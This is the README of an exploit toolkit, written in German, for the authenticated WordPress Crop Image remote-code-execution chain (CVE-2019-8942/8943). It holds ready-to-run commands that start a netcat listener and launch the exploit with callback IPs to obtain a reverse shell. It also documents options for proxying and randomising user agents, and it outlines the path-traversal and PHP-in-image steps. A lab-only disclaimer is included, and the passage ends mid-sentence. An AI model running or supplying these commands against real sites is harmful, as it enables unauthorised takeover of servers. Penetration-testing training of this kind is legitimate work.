Python-Exploit-Toolkit für WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943
Python3-Implementierung der authentifizierten WordPress-Crop-Image-Exploit-Kette. Das Repository ist um zwei unabhängige Arbeitsabläufe organisiert: ein manuelles OSCP-Skript und ein vollautomatisches Skript mit integriertem Reverse-Shell-Handler.
Verwenden Sie dies nur in autorisierten Laboren, CTFs, Trainingsplattformen oder Systemen, für die Sie eine ausdrückliche Erlaubnis zum Testen haben.
Die Exploit-Kette zielt auf die Schwachstellen mit folgenden Tracking-IDs ab:
CVE-2019-8942CVE-2019-8943Das öffentliche Metasploit-Modul für diese Schwachstelle beschreibt die betroffenen Versionen wie folgt:
WordPress 5.0.0 und WordPress <= 4.9.8
Ein gültiges WordPress-Konto mit Berechtigungen zum Hochladen/Bearbeiten von Medien ist erforderlich. In vielen Laborumgebungen reicht ein Benutzer auf Autoren-Ebene aus.
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg ist der standardmäßige JPG-Träger, der vom OSCP-Skript verwendet wird. Er ist enthalten, damit der manuelle Arbeitsablauf sofort funktioniert, ohne dass ein zufälliges Bild gesucht werden muss.
autoexploit.py ist in sich geschlossen und enthält intern einen eigenen hexadezimalen JPG-Träger, kann aber auch mit -i einen benutzerdefinierten JPG akzeptieren.
python3 -m pip install -r requirements.txt
Das einzige benötigte Python-Paket ist:
requests
Wenn Sie SOCKS-Proxy-Unterstützung wünschen, installieren Sie requests mit SOCKS-Erweiterungen in Ihrer Umgebung:
python3 -m pip install 'requests[socks]'
| Skript | Am besten geeignet für | Bildverarbeitung | Shell-Handling |
|---|---|---|---|
exploit_oscp.py | OSCP-artige/manuelle Ausnutzung | Verwendet standardmäßig image.jpg oder -i custom.jpg | Sie starten nc manuell |
autoexploit.py | Schnelle Labornutzung und wiederholte Tests | Verwendet standardmäßig ein eingebettetes hex JPG oder -i custom.jpg | Startet den Listener, löst Callbacks aus und öffnet eine interaktive Konsole |
Beide Skripte sind eigenständig. Keines importiert Code vom anderen.
exploit_oscp.py hält den Arbeitsablauf explizit. Es bereitet den Bildträger vor, führt die authentifizierte WordPress-Exploit-Kette aus, bestätigt die Befehlsausführung und löst eine Reverse Shell zu dem von Ihnen manuell gestarteten Listener aus.
Es startet keinen Handler automatisch und verwendet kein Metasploit, Meterpreter oder msfvenom.
Starten Sie zuerst Ihren Listener:
nc -lvnp 443
Führen Sie den Exploit mit dem standardmäßigen image.jpg aus:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
| Option | Erforderlich | Standard | Bedeutung |
|---|---|---|---|
-t, --target | Ja | Keiner | Ziel-WordPress-Basis-URL, z. B. http://target.local/ |
-u, --username | Ja | Keiner | WordPress-Benutzername |
-p, --password | Ja | Keiner | WordPress-Passwort |
-i, --image | Nein | image.jpg | JPG-Träger zum Vorbereiten und Hochladen |
--lhost | Ja | Keiner | Ihre Callback-IP, normalerweise Ihre VPN-/tun0-IP |
--lport | Ja | Keiner | Port, auf dem Ihr manueller Listener lauscht |
--proxy | Nein | Keiner | Proxy-URL, z. B. http://127.0.0.1:8080 oder socks5://127.0.0.1:9050 |
--user-agent | Nein | Eingebaut | Benutzerdefinierter User-Agent-Header |
--random-user-agent | Nein | Deaktiviert | Verwendet einen zufälligen browserähnlichen User-Agent |
--timeout | Nein | 20 | HTTP-Timeout in Sekunden |
--debug | Nein | Deaktiviert | HTTP-Debug-Ausgabe ausgeben und nützliche fehlgeschlagene Antworten speichern |
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py ist auf Geschwindigkeit ausgelegt. Es kann nur mit Ziel-Anmeldeinformationen ausgeführt werden und versucht, die Callback-IP und den Listener-Port automatisch auszuwählen.
Es führt den vollständigen Exploit-Ablauf durch, startet einen lokalen Listener, probiert mehrere Reverse-Shell-Payload-Stile aus und öffnet eine sauberere interaktive Konsole mit farbigen lokalen Statusmeldungen und leiser TTY-Upgrade-Behandlung.
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
| Option | Erforderlich | Standard | Bedeutung |
|---|---|---|---|
-t, --target | Ja | Keiner | Ziel-WordPress-Basis-URL |
-u, --username | Ja | Keiner | WordPress-Benutzername |
-p, --password | Ja | Keiner | WordPress-Passwort |
-i, --image | Nein | Eingebettetes hex JPG | Optionaler benutzerdefinierter JPG-Träger |
--lhost | Nein | Automatisch erkannt | Callback-IP, die von der Reverse Shell verwendet wird |
--lport | Nein | Freier lokaler Port | Lokaler Listener-Port |
--listen-timeout | Nein | 12 | Sekunden, die auf jeden Reverse-Shell-Versuch gewartet wird |
--proxy | Nein | Keiner | Proxy-URL, z. B. http://127.0.0.1:8080 oder socks5://127.0.0.1:9050 |
--user-agent | Nein | Eingebaut | Benutzerdefinierter User-Agent-Header |
--random-user-agent | Nein | Deaktiviert | Verwendet einen zufälligen browserähnlichen User-Agent |
--timeout | Nein | 20 | HTTP-Timeout in Sekunden |
--debug | Nein | Deaktiviert | HTTP-Debug-Ausgabe ausgeben und nützliche fehlgeschlagene Antworten speichern |
HTTP-Proxy über Burp:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
SOCKS-Proxy:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
Benutzerdefinierter User-Agent:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
Zufälliger User-Agent:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
Dies ist kein normaler PHP-Upload. WordPress erwartet Bildinhalt, verarbeitet die Datei über den Media-Editor und erstellt ein zugeschnittenes Bild. Die Exploit-Kette missbraucht dann Anhangs-Metadaten und Path Traversal, um ein zugeschnittenes Bild im aktiven Theme-Verzeichnis zu platzieren. Schließlich wird die zugeschnittene Datei als Seitenvorlage referenziert, sodass WordPress sie als PHP einbindet.
Ein zufälliges JPG mit PHP in fragilen EXIF-Metadaten kann fehlschlagen, weil GD während der Zuschneideverarbeitung Metadaten entfernen oder neu codieren kann. Dieses Repository hält den Arbeitsablauf klar: